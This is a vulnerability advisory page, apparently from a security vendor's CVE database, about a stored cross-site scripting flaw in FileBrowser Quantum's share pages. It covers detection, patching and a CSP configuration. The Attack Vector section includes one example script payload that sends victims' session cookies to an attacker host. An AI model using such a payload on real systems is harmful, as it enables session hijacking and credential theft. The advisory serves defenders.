Join the Cyber Forum: Threat Intel on May 12, 2026 to learn how AI is reshaping threat defense.Join the Virtual Cyber Forum: Threat IntelRegister Now
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-30934

CVE-2026-30934: FileBrowser Quantum Stored XSS Vulnerability

CVE-2026-30934 is a stored cross-site scripting flaw in FileBrowser Quantum that allows attackers to inject malicious scripts via share metadata. This post explains its impact, affected versions, and mitigation steps.

Published: March 13, 2026

CVE-2026-30934 Overview

CVE-2026-30934 is a Stored Cross-Site Scripting (XSS) vulnerability affecting FileBrowser Quantum, a free, self-hosted, web-based file manager. The vulnerability exists in share metadata fields such as title and description, which are rendered into HTML on the public share URL (/public/share/<hash>) without proper context-aware escaping. This flaw allows attackers to inject malicious scripts that execute when victims visit a crafted share URL.

The root cause stems from the server's use of Go's text/template instead of html/template for rendering share pages, bypassing automatic HTML escaping mechanisms and enabling script execution in the victim's browser context.

Critical Impact

Authenticated attackers can execute arbitrary JavaScript in the browsers of users who access shared file links, potentially leading to session hijacking, credential theft, or further malware distribution.

Affected Products

  • FileBrowser Quantum versions prior to 1.3.1-beta
  • FileBrowser Quantum versions prior to 1.2.2-stable

Discovery Timeline

  • 2026-03-10 - CVE-2026-30934 published to NVD
  • 2026-03-11 - Last updated in NVD database

Technical Details for CVE-2026-30934

Vulnerability Analysis

This Stored XSS vulnerability (CWE-79) allows authenticated users with share creation privileges to inject malicious JavaScript into share metadata fields. The attack is network-based and requires low privileges—any authenticated user capable of creating file shares can exploit it. However, successful exploitation requires user interaction, specifically a victim visiting the malicious share URL.

The scope of this vulnerability is particularly concerning because it affects a changed scope: the injected script executes in the context of any victim's browser session, not the attacker's. This enables cross-user attacks where the attacker can steal session tokens, redirect users to phishing pages, or perform actions on behalf of the victim within the FileBrowser Quantum application.

Root Cause

The vulnerability originates from an insecure template rendering implementation in FileBrowser Quantum's Go codebase. The application uses Go's text/template package to render share pages instead of the html/template package. While text/template provides general-purpose text templating, it does not perform HTML-aware contextual escaping. In contrast, html/template automatically escapes content based on the HTML context (attributes, script blocks, CSS, etc.), preventing XSS attacks by default.

When share metadata (title, description) containing HTML or JavaScript is rendered into the /public/share/<hash> page, the text/template engine outputs the content verbatim, allowing any embedded <script> tags or event handlers to execute.

Attack Vector

The attack requires an authenticated user to create or modify a file share with malicious JavaScript embedded in metadata fields. When an unauthenticated or authenticated victim navigates to the public share URL, the injected script executes in their browser.

A typical attack scenario involves an attacker setting a share title or description to contain JavaScript code such as <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>. When victims access the share link, this script executes, exfiltrating their session cookies to the attacker's server.

The stored nature of this XSS makes it particularly dangerous, as the malicious payload persists on the server and affects all users who visit the compromised share link. For detailed technical analysis, refer to the GitHub Security Advisory GHSA-r633-fcgp-m532.

Detection Methods for CVE-2026-30934

Indicators of Compromise

  • Presence of HTML tags or JavaScript in share metadata fields (title, description) in the FileBrowser Quantum database
  • Unusual outbound network requests originating from users' browsers after visiting share URLs
  • Reports from users about unexpected redirects or behavior when accessing shared file links
  • Server logs showing access to /public/share/<hash> endpoints followed by unusual client-side activity

Detection Strategies

  • Review existing share metadata in the FileBrowser Quantum database for suspicious HTML or script content
  • Implement Content Security Policy (CSP) headers to detect and block inline script execution attempts
  • Monitor web application firewall (WAF) logs for XSS patterns in requests to share-related endpoints
  • Deploy browser-based monitoring for exfiltration attempts via document.cookie access

Monitoring Recommendations

  • Enable verbose logging for share creation and modification operations
  • Set up alerts for share metadata containing HTML special characters (<, >, ", ', &)
  • Monitor for unusual patterns in share access, particularly shares with low user creation but high view counts
  • Implement real-time browser telemetry if available to detect script injection behavior

How to Mitigate CVE-2026-30934

Immediate Actions Required

  • Upgrade FileBrowser Quantum to version 1.2.2-stable or 1.3.1-beta immediately
  • Audit existing shares for potentially malicious metadata content and sanitize or remove compromised entries
  • Implement Content Security Policy (CSP) headers to mitigate impact while patching is in progress
  • Temporarily disable public share functionality if immediate patching is not feasible

Patch Information

The FileBrowser Quantum development team has addressed this vulnerability in two releases:

  • Stable Release: Version 1.2.2-stable - Recommended for production environments
  • Beta Release: Version 1.3.1-beta - Includes additional features alongside the security fix

The patch replaces the use of text/template with html/template for rendering share pages, ensuring proper context-aware HTML escaping of all user-supplied content.

Workarounds

  • Deploy a reverse proxy with XSS filtering rules in front of FileBrowser Quantum
  • Implement server-side input validation to strip HTML tags from share metadata fields
  • Add Content-Security-Policy headers to restrict inline script execution: Content-Security-Policy: script-src 'self'
  • Restrict share creation privileges to trusted users only until patching is complete
bash
# Example nginx configuration to add CSP headers
location / {
    add_header Content-Security-Policy "script-src 'self'; object-src 'none';" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-XSS-Protection "1; mode=block" always;
    proxy_pass http://filebrowser:8080;
}

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeXSS

  • Vendor/TechFilebrowser

  • SeverityHIGH

  • CVSS Score8.9

  • EPSS Probability0.04%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityHigh
  • AvailabilityLow
  • CWE References
  • CWE-79
  • Technical References
  • GitHub Filebrowser v1.2.2 Release

  • GitHub Filebrowser v1.3.1 Beta Release

  • GitHub Security Advisory GHSA-r633-fcgp-m532
  • Related CVEs
  • CVE-2026-32761: Filebrowser Auth Bypass Vulnerability

  • CVE-2026-32758: Filebrowser Path Traversal Vulnerability

  • CVE-2026-32760: Filebrowser Auth Bypass Vulnerability

  • CVE-2026-32759: Filebrowser Filebrowser RCE Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English